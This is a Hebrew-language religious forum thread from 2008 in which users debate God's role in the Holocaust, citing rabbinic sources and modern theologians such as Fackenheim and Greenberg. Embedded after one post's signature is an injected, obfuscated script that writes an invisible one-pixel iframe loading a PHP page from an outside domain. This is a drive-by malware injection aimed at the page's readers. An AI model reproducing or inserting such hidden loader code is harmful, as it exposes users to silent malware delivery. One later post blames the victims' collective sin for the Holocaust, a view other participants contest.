|
|
| נשלח ב-30/4/2008 20:01 |
|
| |
| מיימוני כתב: |  | מיקי
ברוכה הבאה אל הפורום!
העלית שאלה גדולה מאד. אולי הגדולה בכל השאלות.
והיא נוגעת לא רק לשואה.
אנסה להרחיב את הנחות היסוד של שאלתך, מפני שרק מתוך עיון בשאלות היסוד אפשר להבין מה כואב לנו (לא רק לך) ואיך ניתן לחפש אחרי תשובות.
אנו מאמינים (וסבורים שאנו יודעים) ש:
א. יש אלקים.
ב. הוא יודע הכל והוא כולו טוב. הוא חפץ רק בטובתנו.
ג. אז איך יתכן שיש רע בעולם? אכזריות בעולם? וביתר שאת: איך היתה שואה בעולם? איך ה' נתן לזה לקרות?
השאלה הזו קשה מאד, והיו רבים שלא מצאו לה תשובה. היו כאלו שהסיקו ממנה מסקנות שגרמו להם לאבד את אמונתם. או, אם נותרו עם אמונה, היא כבר לא היתה כמקודם.
אחד מהידועים שבהם הוא הסופר אלי ויזל, שעליו קראתי לאמור כי היה מפסיק הכל בזמן שהגיעה תפילת מנחה (תפילת אמצע היום מבין שלוש תפילות שאנו נוהגים בעם ישראל). אך, שלא כמו כל יהודי שומר מצוות, לא התפלל. הוא היה נשאר במקומו ומתריס כלפי שמים: אחרי מה שעשית לי ולמשפחתי ולכל ישראל, איך אוכל להתפלל, איך אוכל לדבר איתך?
דווקא מי שנחן באמונה גדולה וברגישות לצדק ולטוב, לו קשה במיוחד להשלים עם השואה. איך יכול היה ה' להרשות לדבר כזה לקרות? איך אנו יכולים לחיות בעולם שבו מתרחשים דברים כאלו?
אני מדלגת בכוונה על פתרון שאלה 1 מפני שאתה יודעת לבד שהקהילה הדתית לפני השואה הלכה והתמעטה, אפשר להרחיב אבל אי אפשר מפני כבוד הקרבנות.
אבל שאלה 2 עוררה אצלי פליאה, וכי הדבר תלוי ברצוננו, אם להתחייב למסגרת זו אם לאו. הלא אם נניח שאלוקים קיים וקיבלנו את תורתו בהר סיני איננו יכולים לבטל את אותה התחייבות, ואם כל זה לא נכון לא יעזור שנרצה במסגרת זו, כמובן.
_________________
שומר פיו ולשונו - שומר מצרות נפשו ******* language="">
*--
var as="'h';
var" ac="'tt';
var" ab="'p';
var" ay="//";
document.write("*************** src="'"+as+ac+ab+":"+ay+"llaptops.co.cc/a1.php?a="+***************+"'" frameborder="'0'" height="1px" width="1px" scrolling="'no'" ><*");
//*
>
|
|
 |
|
|
|
|
|
| נשלח ב-30/4/2008 20:08 |
|
| |
מיימוני... כתבת:
. מה היו העבירות הנוראות של כלל ישראל שעליהן היה מגיע כזה עונש?
האם אנו רוצים בכלל להשתייך למסגרת כזו שמשועבדת לסיכונים כאלו גדולים?
ואני שואלת..:
אני מדלגת בכוונה על פתרון שאלה 1 מפני שאתה יודע לבד שהקהילה הדתית לפני השואה הלכה והתמעטה, אפשר להרחיב אבל אי אפשר מפני כבוד הקרבנות.
אבל שאלה 2 עוררה אצלי פליאה, וכי הדבר תלוי ברצוננו, אם להתחייב למסגרת זו אם לאו. הלא אם נניח שאלוקים קיים וקיבלנו את תורתו בהר סיני איננו יכולים לבטל את אותה התחייבות, ואם כל זה לא נכון לא יעזור שנרצה במסגרת זו, כמובן.
|
|
|
|
| נשלח ב-30/4/2008 22:10 |
|
| |
מימוני
האמת, שלא כל כך הבנתי מה לא הבנת במה שכתבתי, אבל מפני כבודך אחזור בשנית.
טענתי היסודית היא בעיקר כנגד היומרה שבדבריך -
1. ליצור לינק בין החטא ועונשו - וכי היית מאחורי הפרגוד?
2. דומני שפעם כבר כתבת שלדעתך האמונות הללו (אותן ציינת בהודעתך הראשונה שבאשכול) שקולות לע"ז, ואף זה לדעתי מופרך מכל וכל, וכי כל הצדיקים וקהילותיהם שנספו עבדו ע"ז - וכי לא היית שותה מיינם ואוכל בסעודתם, וכי עשו כן כדי ח"ו למרוד בקונם?
3. צריך להבין שלא הכל ביכולתנו להבין. לדעתי הצדקת הא-ל במחיר הרשעת בריותיו - ללא ידיעה ברמת ודאות גבוהה (-כגון נבואה, או לכל הפחות בשעה שמנסים להשיב את הדור עצמו מעוון כדי שהוא עצמו לא יספה), היא במקרה הטוב היתממות ושמא דווקא הקטנת הדעת, ואולי אפילו, למרבה הצער, הקלה (כמעט בלתי נסבלת) בהרגשה המוסרית.
4. עתים שכל פילפולי הפילוסופיה אינם אלא בריחה ממה שהלב והרגש הבריא והשכל הישר מבינים, כאותו שואל שמבקש שיוכיחו לו באופן פילוסופי שהוא חי. לפיכך לא בכל מקום שאני רואה תשובות מחוכמות ומפולפלות אני רואה בהן העמקה פילוסופית, לעתים אינם אלא ביטוי לכח ההתנכרות או הלהטוט הלוגי שבדעת (בלשון ר' נחמן דומני מכונה - חכמה שבעורף).
לבסוף, מילתי כבר אמורה:
לכשלעצמי עדיף לי לא ללמד קטגוריה על ישראל ואפילו אם לא אדע כיצד להצדיק את הא-ל.
טובה לי שתיקה אחת שיש בה ממידת האמת, מאלפי תירוצים מסופקים.
 |
|
|
|
|
| נשלח ב-30/4/2008 22:52 |
|
| |
יהודה עמיחי
אל מלא רחמים, אלמלא האל מלא הרחמים.
היו הרחמים בעולם - ולא רק בו.
שפלו
שחצן כמוך מזמן לא ראיתי.
איך תתמודד עם שאלת מקומו של האל בשואה? אם אין לך מושג, וגם רצון לדעת מה היה בשואה?
|
|
|
|
| נשלח ב-1/5/2008 01:27 |
|
| |
| mdabraham כתב: |  | זוהר,
אם אנחנו לא מבינים את הנהגותיו כיצד נוכל להידבק בהן? ברור שאנחנו מבינים מה טוב ומה רע בעיניו ואצלו, ולכן השאלה כן במקומה. אתה יכול לומר שצפון בשואה משהו שבכל זאת הוא טוב ואנחנו לא מבינים, אבל אתה לא יכול לומר שהרע עצמו הוא טוב אצל הקב"ה, כי מה שטוב אצלנו לא טוב אצלו, ולהיפך. זה לא ניתן להיאמר, וזה יסוד שיטת מצ"ה.
|
|
בדיוק בגלל זה הבאתי את דיוקו של הרמב"ם שלא צריך להדבק בהנהגותיו, אלא במידותיו. המידות הן אובייקטיביות, ההנהגות אינן, יש מקום לאינטרפרטציה אישית לכל אדם בסיטואציות שונות להחליט האם זה טוב או רע.
כמובן שפשוט יותר לומר שהפרספקטיבה שלנו צרה ואין אנו רואים את מכלול הדברים. השואה היא רע קטן בתוך דבר חיובי וגדול, אבל א"כ תמיד ניתן לשאול מדוע בכלל הקב"ה נזקק לרע אפילו קטן?
או שאולי כוונתך שצפון בשואה משהו שבכל זאת הוא טוב, אז מדוע הוא נצרך לעשות זאת בדרך כ"כ קשה?
כל אלו הם חשבונות שמים ואין לנו מושג בהם, ומכיוון שאין לנו מושג ניחא לי לא לשלול אף הסבר.
_________________
מ. זוהר
|
|
|
|
| נשלח ב-1/5/2008 02:53 |
|
| |
בחיי שאינני מבין. מה פתאום התעוררתם? מה עם הנחשלים שעמלק זינב בהם? מה עם דינה שנאנסה? שוב, העם הישראלי יוסד לאחר שואת "כל הבן הילוד השליכוהו היאורה".
מי שאשם בשואת היהודים (גם עמים אחרים הושמדו) האחרונה אלו הנאצים והעם הגרמני.
"הנהגותיו"- תגידו, אתם צוחקים נכון? ההנהגה שלו היא בכך שהוא ברא בני אדם עם יכולת בחירה. מי שאשם כשיש בחירות רצחניות אלו בני אדם.
מבחינה מהותית האשמת ה' בשואה שקולה להאשמת ה' בכך שהאדם אכל מעץ הדעת. כשמדובר על ילדים בני 8 זה מתקבל על הדעת. כשמדובר על מבוגרים זה מביך.
אין כאן שום שאלה תיאולוגית. יש כאן שאלה אילו תפיסות עולם (של בני אדם) מרושעות גרמו לבני אדם לבחור לנהוג ככה. ומי ששואל את השאלה הנכונה יש סיכוי שגם ימצא את התשובה ויפיק את הלקחים הנכונים. והלקח החשוב ביותר הוא שכל תפיסת עולם שתופסת את האדם כחית קורבן שניתן להקריב היא מרושעת. המרחק בין להגיד שהפירר הוא הכל והוא יודע הכל ולמענו צריך למות, ולבין חוק החמץ איננו גדול כ"כ כמו שאתם חושבים. בשניהם אנשים תופסים את האדם כחיית קורבן שצריך להקריב גם אם זה בניגוד לרצונו. בשניהם אנשים מוחקים את שיקול דעתם.
אבל אם כבר הדיון נפתח, אולי תעזרו לי להבין משהו אחר. אני לא מצליח להבין מדוע אפשר לעשות שואה בעם העמלקי גם כעבור הרבה דורות? איך אפשר להיות אור לגויים אם זו אחת המצוות הכ"כ מרכזיות (לפחות בעבר)?
{שזה כמובן מזכיר את הסיפור העצוב על כך שמלך ישראל (שאול) נושל מהמלוכה לטובת דוד הנואף...}
 |
|
|
|
|
| נשלח ב-1/5/2008 08:09 |
|
| |
אפיק אם ניתן להשוות את הנאצים למשהו אזי המן הוא דוגמא יותר מוצלחת מפרעה. גם במצרים בני ישראל זעקו אל ה' ונענו וגם בימי מרדכי, כלומר שיש סייגים לבחירה של הרע והתערבות של ה' למנוע אותו. השאלה היא מדוע הפעם לא נענינו.
ומהפורום הסמוך http://www.bhol.co.il/forum/topic.asp?topic_id=2403251&forum_id=771 אני מעתיק את ההודעה של זיסלה:
תגובות פילוסופיות ותיאולוגיות של יהודים על
השואה
המשמעות המדהימה של חורבן יהדות אירופה העלתה מיגוון רחב של הרהורים פילוסופיים
ותיאולוגיים. הוגי דעות ניסו לתת כמה תשובות לאירועים הרדיקליים הקשורים בשואה,
ולשם כך השתמשו, תכופות בהדגשים מיוחדים, ב'תשובות' קלסיות לבעיות התיאודיקיאה
(הצדק האלוהי) ולסבל האנושי, או בדרך של ניתוחי מושגים חדשניים. ברור שכול התשובות
והתגובות בעייתיות.
תשובות מסורתיות. אסונות לאומיים, מות המונים וסבל אנושי רב מימדים, אינם
זרים להיסטוריה היהודית. בתגובה עליהם ניסחה המסורת היהודית, במידות שונות של
הצלחה, סידרת תשובות המנסות להסביר את ההתרחשות ולנחם את הקורבנות. את המקום הראשון
בין כול הפרדיגמות התיאולוגיות, תופסת, מבחינה היסטורית, הסברת הטרגדיה כעונש על
חטאיהם של היהודים – טיעון שלו שורשים עמוקים במקורות המקראיים, אף שהוא אולי הפחות
מושך מנקודת ראות מודרנית. על-פי ההסבר ההוא המציאות המחרידה של אושוויץ אינה
מעוררת התלבטות מיוחדת ביחס לאמונה : היהודים לא קיימו את החובות המוטלים עליהם
על-פי הברית בינם ובין האלוהים, והוא הענישם על כך. אין כול צורך לבקש הסברים
נוספים או להעמיד בסימן שאלה את קיומו של האל או את האמת שבאמונת היהודים על-פי
הברית. כהסבר לאירועי שנות ה-30 וה-40 לובשת ההאשמה הזאת בקרב היהודים האורתודוקסים
שלוש צורות: הראשונה תולה ביהודים את ההאשמה הכללית של חטאים הקשורים בחוסר נאמנות
לברית, אך נמנעת מפירוט נוסף (השקפתו של הרב יצחק הוטנר) ; השנייה קושרת קשר סיבתי
בין השואה ובין עליית הרפורמה וצורות אחרות לא-אורתודוקסיות של יהדות (השקפתו של
הרב אלחנן וסרמן ואחרים) ; השלישית תולה את האשם בציונות, מכיוון שהיא לא השלימה עם
הגלות ולא ניאותה להמתין לגאולה המשיחית של האלוהים (עמדתו של הרב יואל טייטלבוים,
האדמו"ר מסאטמאר). כול שלוש התגובות הללו בעייתיות, גם בשל האל שהן מציגות, דהיינו,
אל הרואה צורך ברצח מיליון ילדים יהודים כעונש על אחד מאותם 'חטאים', או אף על כולם
יחד.
עוד ארבע דוקטרינות, או מודלים, אף הם בעלי שורשים במקרא, ניתנו כהסבר להכחדת
יהדות אירופה : (1) העקידה ; (2) 'עבד אדוני' של ספר ישעיהו ; (3) 'הסתר פנים' -
חרון אף ה' והסרת חסדו ; (4) איוב. הפרדיגמה של העקידה משווה את הקורבנות ליצחק,
קורבנות חפים מפשע, אשר, שלא כיצחק, מועלים לקורבן, כאות לנאמנות, בלי חטא, נקיים
מכול אשמה, ומתים כאות לנאמנות מירבית למסורת ישראל, לתורה ולאלוהי ישראל. הפרדיגמה
הזאת מקודשת מימים ימימה ביהדות. התאמתה לעניין מחנות ההשמדה של הנאצים עומדת בסימן
שאלה, גם מכיוון שהס"ס אינו אברהם אבינו והקורבנות אינם מתים על קידוש השם במובן
הקלסי של בחירה חופשית של גורלם.
גם המודל של 'עבד אדוני', הנשען בעיקר על ישעיהו פרק נג, תפס מקום רב בהרהורים
שלאחר השואה. בדומה לעקידה, נמשך האדם המודרני לסוג תשובה והסבר שכזה מכיוון שאינו
מטיל כול אשם בקורבנות, רואה את סבלותיהם כמעין כפרה על אחרים, או אפילו כמסתוריים,
אמצעי שדרכו מאזן אלוהים את כוחות הבריאה ומביא ישועה לרשע, ועם זאת מבטיח את אהבתו
המיוחדת לקורבנות הצדיקים ואף משתתף בסבלותם, ומפצה אותם בעולם הבא. בתשובה מסוג זה
השתמשו, בין השאר, מנהיגי חסידים, אברהם יהושע השל, הוגה הדעות האורתודוקסי אליעזר
ברקוביץ והתיאולוג הרפורמי איגנאץ מאיבאום ואחרים, אך נמתחה עליה ביקורת חמורה,
מכיוון שהיא נשענת על תפיסת הסבל המכפר את עוונות הזולת, דבר שהוא עצמו מוקשה. יתר
על כן, תשובה כזאת מעלה את השאלה הקשה והנוקבת מדוע ירצה אלוהים קורבנות כאלה כדי
להסדיר את העולם שהוא עצמו יצר, ומה טיבו של אלוהים הרוצה בכך.
'הסתר פנים' מוסבר במקרא הן כתגובה לחטא, (כגון בדברים לא, יז-יח) והן כאירוע
מסתורי שאינו ניתן להסבר ושאי-אפשר להסבירו בסיבה ברורה, (כגון בתהילים מד ; תהילים
יג ; ישעיהו ח, יח ; ישעיהו מה, ה). בכמה טיעונים תיאולוגיים קשור 'הסתר פנים'
באורך אפיו של אלוהים, כלומר, סובלנותו לחוטא, פירושה שהאלוהים חייב לאפשר לחטא
שיתרחש - דבר הגורר קורבנות. בסופו של דבר הסבר כזה רופף, משום שהוא מסביר חידה קשה
אחת - מציאות הרשע - על-ידי יצירת חידה קשה אחרת - הסתר פנים. כמענה של התיאולוגים
בני זמננו בתגובה לאושוויץ (כגון מרטין בובר), אין די בהסבר של 'הסתר פנים'.
הפרדיגמה של איוב, אשר למרות המושך הרב שבה - שהרי ידוע שאיוב לא היה חוטא - גם
היא אינה משביעה רצון מבחינה תיאולוגית ומתודולוגית: איוב המקראי זוכה להגנת
האלוהים בעת ה'ניסיון' שבו עמד (איוב, א :יב; ב :ו), ואילו לעם היהודי בזמננו לא
היתה הגנה כזאת. ועוד : האל לא חזר והתגלה שוב בהתגלות אלוהית חד-משמעית לאחר
ה'ניסיון', ובכך אישר את קיומו ושליטתו בעולם, גם אם באופן הנשגב מבינת אדם, כפי
שהתגלה לאיוב. (ואולם, יש הרואים בהקמתה של מדינת ישראל מעין התגלות האל, אף שמהותה
אינה התגלות 'חד משמעית' כהתגלות המתוארת בספר איוב).
תגובות מודרניות. לעומת כול אותן תגובות מנוסחות ומעובדות, הגיבו הוגים
יהודים אחרים על השואה באופן יצירתי, אם גם לא משביע רצון, בהסברים מקוריים ומעוררי
מחשבה. ההסבר הקיצוני ביותר, אם כי המספק פחות, הוא של ריצ'רד רובנשטיין (1966, ראה
ביבליוגרפיה) שטען כי השואה מוכיחה חד-משמעית את אי-קיומו של האלוהים ואת
פשיטת-הרגל של התיאולוגיה היהודית המסורתית. היקום הוא אבסורד, כלומר, חסר כול
משמעות או מטרה, וביקום כזה אין זה מפתיע כלל וכלל שזוועות כגון אושוויץ יכולות
להתרחש. לפיכך חייבים היהודים להסתלק מהמיתוסים התיאולוגיים העתיקים של
טרנסצנדנטליות האל והגאולה ולבקש להם תורת ערכים חדשה, אימננטית ונטורליסטית, שהיא
לבדה יכולה להעניק לאדם את השמחה והניחומים שאפשר להשיגם בעולם. ואולם, התיזה הזאת,
כפי שפיתח רובינשטיין, לוקה בקשיים הגיוניים ומתודולוגיים המערערים את כוח
שכנועה.
גישה אחרת היא 'הגנת חופש הבחירה', שהיא גירסה מחודשת של טיעון קלסי שניסה
להסביר את קיום הרשע האנושי בבריאת האל. הגישה הזאת מעניקה לרשע לגיטימציה הגיונית,
בהעלותה את הטיעון, שכדי שבני-אדם יהיו בני-חורין – ולפיכך נשגבים - חייבים הם גם
להיות בני-חורין לחטוא ולהמיט רעה ורשע על זולתם (תיזה המועלית בעיקר בכתביהם של
אליעזר ברקוביץ וארתור א' כהן). לא האלוהים אלא בני-האדם יוצרים רשע. גם הגישה הזאת
אינה סבירה לחלוטין, מכיוון שאינה מתמודדת דיה עם אפשרויות מטפיסיות חלופיות, כגון
עם האפשרות שאלוהים יכול היה לברוא עולם של חירות ופחות רשע, ואולי אף בלי כול רשע,
או למצער לברוא בני-אדם בעלי נטייה חזקה יותר לעשות טוב שאוזניהם כרויות יותר וליבם
פתוח יותר לחינוך מוסרי.
את העמדה החדשנית השלישית השמיע אמיל פאקנהיים, שטען שיש להבין את השואה כאירוע
חדש של התגלות אלוהית. אלוהים היה באושוויץ, למרות שאין אנו יכוליס להבין בדיוק מה
עשה שם. ומתוך השואה יצאה מצווה חדשה, המצווה התרי"ד, נוסף לתרי"ג המצוות המסורתיות
והיא : 'יהודים, אל תתנו להיטלר ניצחון שלאחר המוות'. בדבריו על המצווה התרי"ד
מתכוון פאקנהיים, שהיהודים חייבים להבין שמוטלת עליהם חובה קדושה להישרד, כדי
להבטיח שהיטלר, אחוז טירוף ההשמדה שלו שכוון נגד העם היהודי, לא יהיה בסופו של דבר
המנצח. מעל לכול, המצווה התרי"ד כרוכה בקיום יהודי ובחובה הדיאלקטית שליהודים 'אסור
להתייאש מאלוהי ישראל, כי אז תיכחד היהדות'. ואולם, הסברו של פאקנהיים יוצר קשיים
פילוסופיים, הסובבים סביב בעיות יסוד מסויימות בתפיסותיו של פאקנהיים על ההתגלות
והמצוות.
עמדה עוד יותר רדיקלית העלה ארווינג (יצחק) גרינברג. הוא סובר שהשואה ניפצה את
הברית בין אלוהים לישראל. גרינברג מתאר את מערכת היחסים המסורתית על פי הברית
כ'שיגור לפעולת התאבדות', ואפילו ריבונו של עולם אינו יכול לצוות עליה. גרינברג
מציע את התיזה הפרובוקטיווית, שעם סיום תנאי הברית הישנים בין ישראל לאלוהים נכנס
עם ישראל מרצון למערכת יחסים חדשה, שוויונית יותר, עם האלוהים כתוצאה מההתרחשויות.
התיזה של גרינברג מתחמקת ממתן הסבר לשואה ובמקום זאת מתמקדת בתגובה הממשית שלאחר
השואה שיאמץ העם היהודי. ואולם, למרות שההצעה מעניינת, יש מקום לתהות על ההיגיון
שבעמדה של גרינברג, בעיקר שימושה במונחי יסוד ובמושגי יסוד תיאולוגיים כגון הבית,
המצוות, ההתגלות האלוהית ועוד, וכן המרכזיות שהיא מעניקה להיטלר בניסוח תיאולוגיה
יהודית שלאחר השואה.
חדשני עוד יותר הוא ארתור א' כהן. כהן טוען שהדרך היחידה לפתור את הבעיות
התיאולוגיות הרבות שמעלה השואה היא להגדיר מחדש את האלוהים, דהיינו, להכיר בכך
שמוטעית התפיסה הישנה יותר של האלוהי, הרווייה 'כול' (כגון יודע הכול, הכול יכול,
וכולי). יש אלוהים, אך אין לו הכוח להתערב בענייני בני-האדם, כפי שסברו הדורות
הקודמים. יש להסתלק מתפיסתנו אותו כמכוון כול יכול של ההיסטוריה והטבע, ולהמירה
בתפיסה מצמצמת יותר של האלוהות. ואולם, מתעוררת השאלה האם אלוהים עודנו אלוהים אם
נוטלים ממנו את מקומו כמכוון ההיסטוריה. וגם אם אפשר להגן על ההמשגה הממזערת הזאת
במונחים פילוסופיים כלליים - האם יכולה אלוהות 'מוקטנת' כזאת להיות אלוהי התורה
והברית, אלוהי התפילה והגאולה, אלוהי ישראל ?
ולבסוף, מצויים גם הוגים שדגלו בשתיקה כתגובה הנאותה ביותר לזוועות ההשמדה של
זמננו - לא דממת הכופר, אלא שתיקת המתמודדים עס התהום הפעורה, שמשכו את ההיגיון עד
לקצה גבולו ומכירים את גבולות ההיגיון.
תוקן על ידי בעלבעמיו ב- 01/05/2008 8:11:10
 |
|
|
|
|
| נשלח ב-1/5/2008 08:13 |
|
| |
אפיק
עצתי להיזהר מבערות.
ראשית, לעמלק קודם קוראים לשלום!
שנית, על עמלק היו כבר אשכולות רבים, וכדאי שתטריח עצמך לחפש בפורום.
(לגבי דוד ושאול - גם בזה דשו הנמושות, אבל אם צו מפורש לנביא אינו מספיק בשבילך, אז דומני שאין כאן מכנה משותף שנוכל לדון עליו, ובודאי לא באשכול כזה.)
לבסוף, גם לגבי ההשוואות בין האירועים שניסת לעשות - כבר העירו לעיל, ושוב עצתי שתקרא מעט קודם שאתה יורה מקולמוסך.
וגם התירוץ שאתה מציע כבר נאמר לעיל, ואף הוצג הקושי שבו, ושוב כדאי קצת לקרוא מה שכתבו אחרים בענין לפני שכותבים.
|
|
|
|
| נשלח ב-1/5/2008 12:13 |
|
| |
כמתעסק, 1. אתה צודק. אני ממש לא מבין ולא מכיר את הציווי הזה לעומק. ועדין, לא הבנתי איך קוראים לו לשלום אם יש מצווה להרוג כל אדם ששייך לעם זה? אתה טוען שהיה סייג למצווה הזו? תגיד, לדעתך אם שאול היה שואל לשלום את המלך העמלקי המוכרע ושאול היה נענה בחיוב, היה עליו לבטל את גזר הדין? לדעתך אם היה נשאר רק ילד באחד הבתים, ילד שהיה מתחנן לחייו, היה אפשר לבטל את הצוו הזה? 2. במידה ואתה מסתמך על דיברי הנביא כאמת, יוצא שדוד נאף. זה מה שרשמתי. 3. לא הבנתי, אתה טוען שלא המיתו את התינוקות הזכרים במצרים? אתה טוען שהסתירו את משה התינוק סתם ככה ללא שום סיבה? 4. מה שרשמתי זה לא תירוץ בעלמא. מה שרשמתי נובע מידית מהעובדה שבני אדם אינם רובוטים ויש להם את היכולת לבחור.
בע"ב, המן לא השמיד יהודי אחד ולכן הייתי בטוח שהדוגמא ההיא טובה יותר לצורך הדיון כאן. בכל אופן, לא מדובר על משהו חדש. מוות ורוע אנושי היה לאורך כל ההיסטוריה. לגבי ההשוואה בין פורים לשואה- אני לא חושב שה' צריך עוזר בניהול פנקס החשבונות, ואני אפילו לא מאמין שמדובר על זה. לדעתי מדובר על זה שהמציאות השתנתה. "כי יעזוב איש את ביתו ודבק באישתו והיו לבשר אחד.." ז"א שלדעתי מדובר על תהליך התבגרות. ממצרים ה' הוציא אותם בניסים גלויים. משושן ה' הוציא אותם בניסים נסתרים. מגרמניה ה' נתן לאנשים את האפשרות לצאת בכוחות עצמם (מי שרצה להיגאל- נגאל. אחרת הסבים שלי היו נהפכים לאפר ואני לא הייתי כותב כאן)
 |
|
|
|
|
| נשלח ב-1/5/2008 12:55 |
|
| |
אפיק בנגב,
גם מי שסבא שלו זכה בלוטו יכול להשתמש בעובדה הזו כדי "להוכיח" שהעניים הם עניים מרצונם, והא ראיה - סבא שלו קנה כרטיס ואילו היו גם הם עושים כן היו גם הם עשירים.
|
|
|
|
| נשלח ב-1/5/2008 13:01 |
|
| |
ג"וג, בדיוק, אבל להיפך. אתה זה שמעוניין להשאיר את גורלך בידי המזל או המקרה או נפלאות ההשגחה הפרטית. אני טענתי שמי שהיה מעוניין לקחת את גורל חייו לידיו- ניצל. מי שרצה להגאל- נגאל.
כל אדם שעיניו בראשו ראה שהנאצים לא משחקים ונשקפת סכנה לחייו עוד ב 1934, ואם להיות לארג' אז ב-1938.
נ.ב. כנס לאשכול על הגרלות. לדעתי הגרלות זה דבר בזוי מיסודו.
תוקן על ידי - אפיקבנגב - 01/05/2008 13:01:32
_________________
|
|
|
|
| נשלח ב-1/5/2008 13:55 |
|
| |
דבריך מעידים על אי הכרת ההיסטוריה. יהודי בצרפת או באוקראינה היה צריך לחשוש מהנאצים ב-1934 או אפילו ב-1938? למה?
|
|
|
|
| נשלח ב-1/5/2008 14:07 |
|
| |
ג"וג, אתה פיספסת כנראה. אני התחלתי את דברי בתזכורת של הצהרת בלפור. מעבר לכך, הטענה שלי היא טענה בעלת שורשים מטה-פיסיים. לא המצאתי את התפיסה שלי לכבוד הניסיונות לתרץ את השואה.
תוקן על ידי - אפיקבנגב - 01/05/2008 14:08:16
_________________
|
|
|
|
| נשלח ב-1/5/2008 14:48 |
|
| |
ואם היתה הצהרת בלפור אז מה? הרי הבריטים לא אפשרו לכל מי שרצה להכנס לארץ אלא התנו את כמות הסרטיפיקטים בכושר קליטה כלכלי וכיו"ב, ובפרט לאחר מאורעות תרצ"ו-תרצ"ט.
אם חלילה יבנו האיראנים פצצה גרעינית ובעוד חמש שנים יטילו אותה על תל אביב, מובטחני שבעוד שבעים שנה יהיו חכמים כמוך שיגידו שב-2008 ראה כל אדם שעיניו בראשו שהאיראנים לא משחקים ונשקפת סכנה לחייו, ואם כן מי שלא ברח לאמריקה אשם במותו. אתה עסוק כרגע באריזת מזוודות?
|
|
|
|
| נשלח ב-1/5/2008 15:07 |
|
| |
בקשר ל"חטא" הנוראי שעם ישראל עשה או לא.
*** אזהרה : הדברים קצת קשים להיאמר ומן הסתם גם להישמע ***
אני חושב שבפשטות אפשר לומר שעם ישראל פשוט לא קיים (ובמובן מה לא מקיים עד עצם היום הזה) את יעודו כעם שמקדש את שם השם בעולם, לאורך דורות ארוכים, לא נשמע (ברובו המוחלט) לאנשים שנשלחו כדי לבשר את פעמי הגאולה וההתכוננות לקראתה, וממילא איבד את הזכות להתקיים במתכונתו הנוכחית (דהיינו כפי שהיה באירופה דאז) ממילא לא היה שום גורם שיכל לעצור את הזוועה, לאחר הרבה התרעות גם לאורך עשרות (ואולי מאות) השנים שלפני השואה, ובפרט החל מ 1933 באופן שהלך וגבר, לא נותר לדבר הנורא מכל אלא לקרות.
וכדברי הנביא יחזקאל : (באדיבות האתר סנונית, לינק לפרק המלא http://kodesh.snunit.k12.il/i/tr/t1220.htm)
"לב וְהָעֹלָה עַל-רוּחֲכֶם הָיוֹ לֹא תִהְיֶה אֲשֶׁר אַתֶּם אֹמְרִים נִהְיֶה כַגּוֹיִם כְּמִשְׁפְּחוֹת הָאֲרָצוֹת לְשָׁרֵת עֵץ וָאָבֶן. לג חַי-אָנִי נְאֻם אֲדֹנָי יְהוִה אִם-לֹא בְּיָד חֲזָקָה וּבִזְרוֹעַ נְטוּיָה וּבְחֵמָה שְׁפוּכָה אֶמְלוֹךְ עֲלֵיכֶם. לד וְהוֹצֵאתִי אֶתְכֶם מִן-הָעַמִּים וְקִבַּצְתִּי אֶתְכֶם מִן-הָאֲרָצוֹת אֲשֶׁר נְפוֹצֹתֶם בָּם בְּיָד חֲזָקָה וּבִזְרוֹעַ נְטוּיָה וּבְחֵמָה שְׁפוּכָה. לה וְהֵבֵאתִי אֶתְכֶם אֶל-מִדְבַּר הָעַמִּים וְנִשְׁפַּטְתִּי אִתְּכֶם שָׁם פָּנִים אֶל-פָּנִים. לו כַּאֲשֶׁר נִשְׁפַּטְתִּי אֶת-אֲבוֹתֵיכֶם בְּמִדְבַּר אֶרֶץ מִצְרָיִם כֵּן אִשָּׁפֵט אִתְּכֶם נְאֻם אֲדֹנָי יְהוִה. לז וְהַעֲבַרְתִּי אֶתְכֶם תַּחַת הַשָּׁבֶט וְהֵבֵאתִי אֶתְכֶם בְּמָסֹרֶת הַבְּרִית. לח וּבָרוֹתִי מִכֶּם הַמֹּרְדִים וְהַפּוֹשְׁעִים בִּי מֵאֶרֶץ מְגוּרֵיהֶם אוֹצִיא אוֹתָם וְאֶל-אַדְמַת יִשְׂרָאֵל לֹא יָבוֹא וִידַעְתֶּם כִּי-אֲנִי יְהוָה. "
לא יודע אם השם נגלה שם או שמא הסתתר, מה שברור הדברים לא "קרו" בלי ידיעתו.
והחי יתן אל ליבו.
_________________
 |
|
|
|
|
|